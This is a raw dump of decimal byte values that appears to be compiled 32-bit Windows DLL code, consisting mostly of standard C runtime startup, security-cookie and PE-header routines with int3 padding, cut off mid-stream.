204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,137,77,252,139,69,8,131,224,2,116,54,104,9,17,1,16,139,77,252,139,81,252,82,106,12,139,69,252,80,232,109,148,255,255,139,77,8,131,225,1,116,15,139,85,252,131,234,4,82,232,78,144,255,255,131,196,4,139,69,252,131,232,4,235,31,139,77,252,232,170,143,255,255,139,69,8,131,224,1,116,12,139,77,252,81,232,42,144,255,255,131,196,4,139,69,252,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,81,137,77,252,139,69,252,139,229,93,194,4,0,204,204,204,204,255,37,28,54,2,16,255,37,24,54,2,16,255,37,20,54,2,16,255,37,16,54,2,16,255,37,12,54,2,16,255,37,8,54,2,16,255,37,4,54,2,16,255,37,0,54,2,16,255,37,252,53,2,16,255,37,248,53,2,16,255,37,40,54,2,16,255,37,244,53,2,16,255,37,240,53,2,16,255,37,236,53,2,16,255,37,232,53,2,16,255,37,228,53,2,16,255,37,224,53,2,16,255,37,220,53,2,16,255,37,216,53,2,16,255,37,212,53,2,16,255,37,208,53,2,16,255,37,204,53,2,16,255,37,200,53,2,16,255,37,196,53,2,16,255,37,192,53,2,16,255,37,188,53,2,16,255,37,184,53,2,16,255,37,88,53,2,16,255,37,92,53,2,16,255,37,96,53,2,16,204,204,204,204,204,204,139,255,85,139,236,81,104,146,0,0,0,104,180,252,1,16,106,2,104,128,0,0,0,255,21,104,53,2,16,131,196,16,137,69,252,139,69,252,80,255,21,212,51,2,16,163,132,39,2,16,139,13,132,39,2,16,137,13,116,39,2,16,131,125,252,0,117,7,184,1,0,0,0,235,42,139,85,252,199,2,0,0,0,0,232,96,145,255,255,104,195,16,1,16,232,139,142,255,255,131,196,4,104,181,20,1,16,232,126,142,255,255,131,196,4,51,192,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,131,236,52,131,125,12,0,117,31,131,61,112,35,2,16,0,126,15,161,112,35,2,16,131,232,1,163,112,35,2,16,235,7,51,192,233,185,2,0,0,131,125,12,1,15,133,3,1,0,0,199,69,244,0,0,0,0,232,220,143,255,255,139,72,4,137,77,248,199,69,252,0,0,0,0,106,0,139,85,248,82,104,112,39,2,16,255,21,116,51,2,16,137,69,244,131,125,244,0,116,30,139,69,244,59,69,248,117,9,199,69,252,1,0,0,0,235,13,104,232,3,0,0,255,21,112,51,2,16,235,200,131,61,96,39,2,16,0,116,12,106,31,232,48,145,255,255,131,196,4,235,67,199,5,96,39,2,16,1,0,0,0,104,20,245,1,16,104,12,243,1,16,232,228,145,255,255,131,196,8,133,192,116,7,51,192,233,34,2,0,0,104,8,242,1,16,104,0,240,1,16,232,2,142,255,255,131,196,8,199,5,96,39,2,16,2,0,0,0,131,125,252,0,117,13,106,0,104,112,39,2,16,255,21,108,51,2,16,131,61,136,39,2,16,0,116,33,104,136,39,2,16,232,169,144,255,255,131,196,4,133,192,116,16,139,77,16,81,106,2,139,85,8,82,255,21,136,39,2,16,106,1,255,21,116,53,2,16,131,196,4,161,112,35,2,16,131,192,1,163,112,35,2,16,233,167,1,0,0,131,125,12,0,15,133,157,1,0,0,199,69,232,0,0,0,0,232,207,142,255,255,139,72,4,137,77,236,199,69,240,0,0,0,0,106,0,139,85,236,82,104,112,39,2,16,255,21,116,51,2,16,137,69,232,131,125,232,0,116,30,139,69,232,59,69,236,117,9,199,69,240,1,0,0,0,235,13,104,232,3,0,0,255,21,112,51,2,16,235,200,131,61,96,39,2,16,2,116,15,106,31,232,35,144,255,255,131,196,4,233,52,1,0,0,139,13,132,39,2,16,81,255,21,104,51,2,16,137,69,228,131,125,228,0,15,132,253,0,0,0,139,21,116,39,2,16,82,255,21,104,51,2,16,137,69,216,199,69,220,0,0,0,0,139,69,228,137,69,212,139,77,216,137,77,224,186,1,0,0,0,133,210,15,132,169,0,0,0,199,69,208,0,0,0,0,199,69,204,0,0,0,0,139,69,216,131,232,4,137,69,216,139,77,216,59,77,228,114,23,139,85,216,131,58,0,116,13,255,21,112,53,2,16,139,77,216,57,1,117,2,235,216,139,85,216,59,85,228,115,2,235,105,139,69,216,139,8,81,255,21,104,51,2,16,137,69,220,255,21,112,53,2,16,139,85,216,137,2,255,85,220,161,132,39,2,16,80,255,21,104,51,2,16,137,69,208,139,13,116,39,2,16,81,255,21,104,51,2,16,137,69,204,139,85,212,59,85,208,117,8,139,69,224,59,69,204,116,24,139,77,208,137,77,212,139,85,212,137,85,228,139,69,204,137,69,224,139,77,224,137,77,216,233,74,255,255,255,106,2,139,85,228,82,255,21,108,53,2,16,131,196,8,255,21,112,53,2,16,163,116,39,2,16,161,116,39,2,16,163,132,39,2,16,199,5,96,39,2,16,0,0,0,0,131,125,240,0,117,13,106,0,104,112,39,2,16,255,21,108,51,2,16,184,1,0,0,0,139,229,93,194,12,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,100,161,24,0,0,0,93,195,204,204,204,139,255,85,139,236,131,125,12,1,117,5,232,71,138,255,255,139,69,16,80,139,77,12,81,139,85,8,82,232,31,0,0,0,131,196,12,93,194,12,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,106,254,104,200,26,2,16,104,119,17,1,16,100,161,0,0,0,0,80,131,196,240,83,86,87,161,12,34,2,16,49,69,248,51,197,80,141,69,240,100,163,0,0,0,0,137,101,232,199,69,228,1,0,0,0,199,69,252,0,0,0,0,139,69,12,163,72,34,2,16,199,69,252,1,0,0,0,131,125,12,0,117,21,131,61,112,35,2,16,0,117,12,199,69,228,0,0,0,0,233,242,0,0,0,131,125,12,1,116,6,131,125,12,2,117,67,131,61,176,252,1,16,0,116,21,139,77,16,81,139,85,12,82,139,69,8,80,255,21,176,252,1,16,137,69,228,131,125,228,0,116,20,139,77,16,81,139,85,12,82,139,69,8,80,232,171,141,255,255,137,69,228,131,125,228,0,117,5,233,163,0,0,0,139,77,16,81,139,85,12,82,139,69,8,80,232,240,136,255,255,137,69,228,131,125,12,1,117,61,131,125,228,0,117,55,139,77,16,81,106,0,139,85,8,82,232,210,136,255,255,139,69,16,80,106,0,139,77,8,81,232,95,141,255,255,131,61,176,252,1,16,0,116,16,139,85,16,82,106,0,139,69,8,80,255,21,176,252,1,16,131,125,12,0,116,6,131,125,12,3,117,64,139,77,16,81,139,85,12,82,139,69,8,80,232,41,141,255,255,133,192,117,7,199,69,228,0,0,0,0,131,125,228,0,116,30,131,61,176,252,1,16,0,116,21,139,77,16,81,139,85,12,82,139,69,8,80,255,21,176,252,1,16,137,69,228,199,69,252,0,0,0,0,235,44,139,77,236,139,17,139,2,137,69,224,139,77,236,81,139,85,224,82,232,50,138,255,255,131,196,8,195,139,101,232,199,69,228,0,0,0,0,199,69,252,0,0,0,0,199,69,252,254,255,255,255,232,2,0,0,0,235,11,199,5,72,34,2,16,255,255,255,255,195,139,69,228,139,77,240,100,137,13,0,0,0,0,89,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,106,254,104,248,26,2,16,104,119,17,1,16,100,161,0,0,0,0,80,131,196,236,83,86,87,161,12,34,2,16,49,69,248,51,197,80,141,69,240,100,163,0,0,0,0,161,132,39,2,16,80,255,21,104,51,2,16,137,69,228,131,125,228,255,117,18,139,77,8,81,255,21,148,53,2,16,131,196,4,233,136,0,0,0,106,8,232,209,135,255,255,131,196,4,199,69,252,0,0,0,0,139,21,132,39,2,16,82,255,21,104,51,2,16,137,69,228,161,116,39,2,16,80,255,21,104,51,2,16,137,69,220,141,77,220,81,141,85,228,82,139,69,8,80,255,21,212,51,2,16,80,232,165,139,255,255,131,196,12,137,69,224,139,77,228,81,255,21,212,51,2,16,163,132,39,2,16,139,85,220,82,255,21,212,51,2,16,163,116,39,2,16,199,69,252,254,255,255,255,232,2,0,0,0,235,11,106,8,232,210,137,255,255,131,196,4,195,139,69,224,139,77,240,100,137,13,0,0,0,0,89,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,139,69,8,80,232,141,136,255,255,131,196,4,247,216,27,192,247,216,131,232,1,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,139,69,12,131,248,4,119,36,139,12,133,48,34,2,16,139,20,133,20,0,2,16,131,249,255,116,15,82,80,139,69,8,81,80,232,68,0,0,0,131,196,16,93,195,186,240,252,1,16,82,184,5,0,0,0,80,139,69,8,185,1,0,0,0,81,80,232,36,0,0,0,131,196,16,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,129,236,64,14,0,0,161,12,34,2,16,51,197,137,69,252,139,69,16,83,139,93,8,86,87,139,125,20,83,137,133,200,241,255,255,137,189,192,241,255,255,199,133,196,241,255,255,0,0,0,0,232,127,133,255,255,131,196,4,137,133,208,241,255,255,133,192,117,15,83,232,73,138,255,255,131,196,4,137,133,196,241,255,255,139,53,128,51,2,16,106,0,106,0,106,255,87,106,0,104,233,253,0,0,255,214,61,0,2,0,0,115,38,80,141,141,212,241,255,255,81,106,255,87,106,0,104,233,253,0,0,255,214,133,192,116,14,141,149,212,241,255,255,137,149,204,241,255,255,235,10,199,133,204,241,255,255,120,1,2,16,104,2,16,0,0,232,240,1,0,0,139,189,200,241,255,255,131,196,4,133,192,116,37,139,133,204,241,255,255,139,12,189,44,0,2,16,80,83,81,87,232,125,2,0,0,131,196,16,133,192,15,133,34,1,0,0,50,192,235,2,176,1,131,189,196,241,255,255,0,139,181,208,241,255,255,117,8,133,246,15,132,4,1,0,0,132,192,116,14,255,21,124,51,2,16,133,192,15,133,242,0,0,0,104,4,1,0,0,141,149,244,253,255,255,82,141,133,208,241,255,255,80,104,4,1,0,0,141,141,236,251,255,255,81,131,195,251,83,232,51,136,255,255,131,196,24,133,246,116,45,139,149,204,241,255,255,139,141,208,241,255,255,82,87,104,40,1,2,16,141,133,244,253,255,255,80,139,69,12,81,141,149,236,251,255,255,82,80,255,214,233,142,0,0,0,139,61,120,51,2,16,106,0,106,0,104,10,3,0,0,141,141,212,245,255,255,81,106,255,141,149,236,251,255,255,82,106,0,104,233,253,0,0,187,16,1,2,16,255,215,133,192,116,6,141,157,212,245,255,255,106,0,106,0,104,10,3,0,0,141,133,224,248,255,255,80,106,255,141,141,244,253,255,255,81,106,0,104,233,253,0,0,190,248,0,2,16,255,215,133,192,116,6,141,181,224,248,255,255,139,149,192,241,255,255,139,133,200,241,255,255,139,141,208,241,255,255,82,139,85,12,80,104,208,0,2,16,86,81,83,82,255,149,196,241,255,255,131,196,28,131,248,1,117,1,204,139,77,252,95,94,51,205,91,232,65,131,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,106,254,104,24,27,2,16,104,119,17,1,16,100,161,0,0,0,0,80,131,236,36,83,86,87,161,12,34,2,16,49,69,248,51,197,80,141,69,240,100,163,0,0,0,0,137,101,232,51,192,136,69,231,199,69,204,1,16,0,0,139,77,8,137,77,208,141,85,231,137,85,212,137,69,252,141,77,204,81,106,6,80,104,136,19,109,64,255,21,132,51,2,16,235,9,184,1,0,0,0,195,139,101,232,199,69,252,254,255,255,255,15,182,69,231,139,77,240,100,137,13,0,0,0,0,89,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,106,254,104,56,27,2,16,104,119,17,1,16,100,161,0,0,0,0,80,131,236,36,83,86,87,161,12,34,2,16,49,69,248,51,197,80,141,69,240,100,163,0,0,0,0,137,101,232,51,192,136,69,231,199,69,204,2,16,0,0,139,77,8,137,77,208,139,85,12,137,85,212,139,77,16,137,77,216,141,85,231,137,85,220,139,77,20,137,77,224,137,69,252,141,85,204,82,106,6,80,104,136,19,109,64,255,21,132,51,2,16,235,9,184,1,0,0,0,195,139,101,232,199,69,252,254,255,255,255,15,182,69,231,139,77,240,100,137,13,0,0,0,0,89,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,129,236,8,4,0,0,161,12,34,2,16,51,197,137,69,252,131,61,56,34,2,16,255,139,69,8,137,133,248,251,255,255,139,69,12,15,132,192,0,0,0,128,56,0,83,86,15,132,150,0,0,0,139,200,141,113,1,139,255,138,17,65,132,210,117,249,43,206,131,193,45,129,249,0,4,0,0,119,123,141,157,252,251,255,255,51,201,141,100,36,0,138,145,68,0,2,16,136,148,13,252,251,255,255,65,132,210,117,238,139,208,138,8,64,132,201,117,249,87,141,189,252,251,255,255,43,194,79,138,79,1,71,132,201,117,248,139,200,193,233,2,139,242,243,165,139,200,131,225,3,184,96,0,2,16,243,164,139,200,138,16,64,132,210,117,249,141,189,252,251,255,255,43,193,139,241,79,138,79,1,71,132,201,117,248,139,200,193,233,2,243,165,139,200,131,225,3,243,164,95,235,5,187,252,1,2,16,161,56,34,2,16,139,141,248,251,255,255,83,106,2,80,81,232,247,250,255,255,131,196,16,94,91,139,77,252,51,205,232,54,128,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,129,236,68,1,0,0,161,12,34,2,16,51,197,137,69,252,83,139,29,64,34,2,16,86,139,117,12,87,139,125,8,137,189,188,254,255,255,131,251,255,15,132,239,0,0,0,104,120,3,2,16,255,21,144,51,2,16,133,192,15,132,203,0,0,0,104,108,3,2,16,80,255,21,140,51,2,16,163,116,35,2,16,133,246,15,132,178,0,0,0,133,192,15,132,170,0,0,0,139,77,16,139,86,12,104,96,3,2,16,81,104,44,3,2,16,131,234,36,82,104,32,3,2,16,141,126,32,87,104,16,3,2,16,104,184,2,2,16,141,141,192,254,255,255,104,156,2,2,16,81,255,208,139,86,12,131,234,36,82,87,141,69,180,80,141,77,232,81,232,206,0,0,0,131,196,56,104,152,2,2,16,141,85,180,82,104,148,2,2,16,141,69,232,80,104,136,2,2,16,141,141,192,254,255,255,81,255,21,136,51,2,16,141,148,5,192,254,255,255,82,255,21,116,35,2,16,139,141,188,254,255,255,141,133,192,254,255,255,80,106,4,83,81,232,163,249,255,255,131,196,40,95,94,91,139,77,252,51,205,232,225,126,255,255,139,229,93,195,104,48,2,2,16,106,4,83,87,232,129,249,255,255,131,196,16,139,77,252,95,94,51,205,91,232,191,126,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,131,236,8,139,69,12,83,86,139,117,8,137,69,252,139,69,16,87,51,255,43,198,137,69,248,139,255,139,77,20,131,249,16,114,5,185,16,0,0,0,59,249,115,38,138,28,48,139,85,252,15,182,203,81,104,148,3,2,16,82,255,21,116,35,2,16,131,69,252,3,139,69,248,131,196,12,136,30,71,70,235,201,139,77,12,139,69,8,141,20,121,198,4,7,0,198,4,23,0,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,129,236,4,4,0,0,161,12,34,2,16,51,197,137,69,252,131,61,60,34,2,16,255,139,69,8,15,132,182,0,0,0,83,86,133,192,15,132,144,0,0,0,139,200,141,113,1,138,17,65,132,210,117,249,43,206,131,193,58,129,249,0,4,0,0,119,119,141,157,252,251,255,255,51,201,138,145,116,0,2,16,136,148,13,252,251,255,255,65,132,210,117,238,139,208,138,8,64,132,201,117,249,87,141,189,252,251,255,255,43,194,79,138,79,1,71,132,201,117,248,139,200,193,233,2,139,242,243,165,139,200,131,225,3,184,132,0,2,16,243,164,139,200,138,16,64,132,210,117,249,141,189,252,251,255,255,43,193,139,241,79,138,79,1,71,132,201,117,248,139,200,193,233,2,243,165,139,200,131,225,3,243,164,95,235,5,187,156,3,2,16,161,60,34,2,16,83,106,3,80,139,69,4,80,232,186,247,255,255,131,196,16,94,91,139,77,252,51,205,232,249,124,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,184,5,0,0,0,195,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,139,69,8,131,248,4,119,9,139,4,133,168,4,2,16,93,195,51,192,93,195,204,204,204,204,204,204,139,255,85,139,236,139,77,8,131,249,4,119,19,139,85,12,139,4,141,48,34,2,16,137,20,141,48,34,2,16,93,195,131,200,255,93,195,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,139,77,8,161,120,35,2,16,137,13,120,35,2,16,199,5,124,35,2,16,0,0,0,0,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,139,77,8,161,124,35,2,16,137,13,124,35,2,16,199,5,120,35,2,16,0,0,0,0,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,161,120,35,2,16,195,204,204,204,204,204,204,204,204,204,204,161,124,35,2,16,195,255,37,100,53,2,16,204,204,204,204,139,255,85,139,236,129,236,40,3,0,0,163,144,36,2,16,137,13,140,36,2,16,137,21,136,36,2,16,137,29,132,36,2,16,137,53,128,36,2,16,137,61,124,36,2,16,102,140,21,168,36,2,16,102,140,13,156,36,2,16,102,140,29,120,36,2,16,102,140,5,116,36,2,16,102,140,37,112,36,2,16,102,140,45,108,36,2,16,156,143,5,160,36,2,16,139,69,0,163,148,36,2,16,139,69,4,163,152,36,2,16,141,69,8,163,164,36,2,16,139,133,224,252,255,255,199,5,224,35,2,16,1,0,1,0,161,152,36,2,16,163,148,35,2,16,199,5,136,35,2,16,9,4,0,192,199,5,140,35,2,16,1,0,0,0,139,13,12,34,2,16,137,141,216,252,255,255,139,21,16,34,2,16,137,149,220,252,255,255,255,21,124,51,2,16,163,216,35,2,16,106,1,232,47,125,255,255,131,196,4,106,0,255,21,160,51,2,16,104,192,4,2,16,255,21,156,51,2,16,131,61,216,35,2,16,0,117,10,106,1,232,9,125,255,255,131,196,4,104,9,4,0,192,255,21,152,51,2,16,80,255,21,148,51,2,16,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,106,254,104,88,27,2,16,104,119,17,1,16,100,161,0,0,0,0,80,131,196,244,83,86,87,161,12,34,2,16,49,69,248,51,197,80,141,69,240,100,163,0,0,0,0,51,192,117,252,199,69,228,0,0,0,0,139,77,12,15,175,77,16,3,77,8,137,77,8,199,69,252,0,0,0,0,139,85,16,131,234,1,137,85,16,120,17,139,69,8,43,69,12,137,69,8,139,77,8,255,85,20,235,228,199,69,228,1,0,0,0,199,69,252,254,255,255,255,232,2,0,0,0,235,28,131,125,228,0,117,21,139,77,20,81,139,85,16,82,139,69,12,80,139,77,8,81,232,164,126,255,255,195,139,77,240,100,137,13,0,0,0,0,89,95,94,91,139,229,93,194,16,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,106,254,104,120,27,2,16,104,119,17,1,16,100,161,0,0,0,0,80,131,236,8,83,86,87,161,12,34,2,16,49,69,248,51,197,80,141,69,240,100,163,0,0,0,0,137,101,232,51,192,117,252,199,69,252,0,0,0,0,139,77,16,131,233,1,137,77,16,120,17,139,85,8,43,85,12,137,85,8,139,77,8,255,85,20,235,228,199,69,252,254,255,255,255,235,23,139,69,236,80,232,82,0,0,0,131,196,4,195,139,101,232,199,69,252,254,255,255,255,139,77,240,100,137,13,0,0,0,0,89,95,94,91,139,229,93,194,16,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,131,236,8,139,69,8,139,8,137,77,252,139,85,252,139,2,137,69,248,129,125,248,99,115,109,224,116,2,235,5,232,255,121,255,255,51,192,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,104,76,39,2,16,232,96,121,255,255,131,196,4,93,195,204,204,204,204,204,204,204,204,204,204,204,204,139,255,86,190,32,14,2,16,139,198,61,44,16,2,16,115,19,139,6,133,192,116,2,255,208,131,198,4,129,254,44,16,2,16,114,237,94,195,204,204,204,204,204,204,204,204,204,204,139,255,86,190,52,17,2,16,139,198,61,64,19,2,16,115,19,139,6,133,192,116,2,255,208,131,198,4,129,254,64,19,2,16,114,237,94,195,204,204,204,204,204,204,204,204,204,204,255,37,104,53,2,16,255,37,108,53,2,16,255,37,112,53,2,16,255,37,116,53,2,16,204,204,204,204,204,204,204,204,139,255,85,139,236,131,236,12,139,69,8,137,69,248,139,77,248,15,183,17,129,250,77,90,0,0,116,4,51,192,235,59,139,69,248,139,77,248,3,72,60,137,77,244,139,85,244,129,58,80,69,0,0,116,4,51,192,235,32,139,69,244,131,192,24,137,69,252,139,77,252,15,183,17,129,250,11,1,0,0,116,4,51,192,235,5,184,1,0,0,0,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,131,236,12,139,69,8,139,77,8,3,72,60,137,77,252,199,69,248,0,0,0,0,139,85,252,15,183,66,20,139,77,252,141,84,1,24,137,85,244,235,18,139,69,248,131,192,1,137,69,248,139,77,244,131,193,40,137,77,244,139,85,252,15,183,66,6,57,69,248,115,35,139,77,244,139,85,12,59,81,12,114,22,139,69,244,139,72,12,139,85,244,3,74,8,57,77,12,115,5,139,69,244,235,4,235,191,51,192,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,106,254,104,152,27,2,16,104,119,17,1,16,100,161,0,0,0,0,80,131,196,216,83,86,87,161,12,34,2,16,49,69,248,51,197,80,141,69,240,100,163,0,0,0,0,137,101,232,199,69,228,0,0,0,16,199,69,252,0,0,0,0,139,69,228,80,232,203,120,255,255,131,196,4,133,192,117,22,199,69,212,0,0,0,0,199,69,252,254,255,255,255,139,69,212,233,151,0,0,0,139,77,8,43,77,228,137,77,220,139,85,220,82,139,69,228,80,232,47,120,255,255,131,196,8,137,69,224,131,125,224,0,117,19,199,69,208,0,0,0,0,199,69,252,254,255,255,255,139,69,208,235,98,139,77,224,139,81,36,129,226,0,0,0,128,247,218,27,210,131,194,1,137,85,204,199,69,252,254,255,255,255,139,69,204,235,64,199,69,252,254,255,255,255,235,55,139,69,236,139,8,139,17,137,85,216,139,69,216,51,201,61,5,0,0,192,15,148,193,139,193,195,139,101,232,199,69,200,0,0,0,0,199,69,252,254,255,255,255,139,69,200,235,7,199,69,252,254,255,255,255,139,77,240,100,137,13,0,0,0,0,89,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,255,37,120,53,2,16,255,37,124,53,2,16,255,37,128,53,2,16,204,204,204,204,204,204,204,204,139,255,85,139,236,131,236,24,199,69,248,0,0,0,0,199,69,252,0,0,0,0,129,61,12,34,2,16,78,230,64,187,116,31,161,12,34,2,16,37,0,0,255,255,116,19,139,13,12,34,2,16,247,209,137,13,16,34,2,16,233,155,0,0,0,141,85,248,82,255,21,180,51,2,16,139,69,248,137,69,244,139,77,244,51,77,252,137,77,244,255,21,176,51,2,16,51,69,244,137,69,244,255,21,172,51,2,16,51,69,244,137,69,244,255,21,168,51,2,16,51,69,244,137,69,244,141,85,232,82,255,21,164,51,2,16,139,69,244,51,69,232,137,69,244,139,77,244,51,77,236,137,77,244,129,125,244,78,230,64,187,117,9,199,69,244,79,230,64,187,235,28,139,85,244,129,226,0,0,255,255,117,17,139,69,244,13,17,71,0,0,193,224,16,11,69,244,137,69,244,139,77,244,137,13,12,34,2,16,139,85,244,247,210,137,21,16,34,2,16,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,255,37,132,53,2,16,204,204,139,255,85,139,236,139,69,20,80,139,77,16,81,139,85,12,82,139,69,8,80,104,110,16,1,16,104,12,34,2,16,232,207,120,255,255,131,196,24,93,195,204,204,204,204,204,204,204,204,204,204,204,255,37,136,53,2,16,255,37,140,53,2,16,255,37,144,53,2,16,204,204,204,204,204,204,204,204,204,204,139,255,85,139,236,139,69,20,139,85,12,131,236,68,86,139,117,8,199,0,0,0,0,0,106,28,141,69,188,80,51,201,78,86,102,137,10,255,21,200,51,2,16,133,192,117,7,51,192,94,139,229,93,195,139,77,28,139,85,24,139,69,192,81,82,80,255,21,196,51,2,16,133,192,116,227,139,85,192,185,77,90,0,0,102,57,10,117,214,139,66,60,133,192,126,207,3,194,129,56,80,69,0,0,117,197,15,183,72,6,83,87,15,183,120,20,141,68,7,36,43,242,51,255,51,219,133,201,116,23,139,16,59,242,114,9,139,254,43,250,59,112,252,114,8,67,131,192,40,59,217,114,233,59,217,116,91,67,128,61,92,39,2,16,0,117,32,131,61,88,39,2,16,0,117,72,232,187,2,0,0,163,88,39,2,16,133,192,116,58,198,5,92,39,2,16,1,235,5,161,88,39,2,16,104,40,5,2,16,80,255,21,140,51,2,16,51,246,59,198,116,26,141,85,240,82,139,85,24,86,86,141,77,216,81,86,86,86,82,255,208,131,196,32,133,192,117,9,95,91,51,192,94,139,229,93,195,139,77,240,139,1,139,16,137,117,228,255,210,61,181,165,49,1,15,133,140,1,0,0,139,77,240,139,1,139,64,28,141,85,232,82,104,36,5,2,16,86,255,208,133,192,15,132,112,1,0,0,139,77,232,139,17,139,82,32,86,86,86,141,69,244,80,87,83,255,210,133,192,15,132,75,1,0,0,139,77,244,137,117,252,139,1,139,64,104,141,85,252,82,255,208,132,192,15,132,40,1,0,0,139,77,252,59,206,15,132,29,1,0,0,139,17,139,66,8,255,208,133,192,15,132,245,0,0,0,139,77,252,139,17,139,82,12,106,0,141,69,248,80,141,69,224,80,141,69,8,80,141,69,236,80,106,0,255,210,132,192,15,132,223,0,0,0,15,183,69,8,59,195,117,14,139,69,236,59,199,119,7,3,69,224,59,248,114,19,139,77,252,139,17,139,66,8,255,208,133,192,117,182,233,166,0,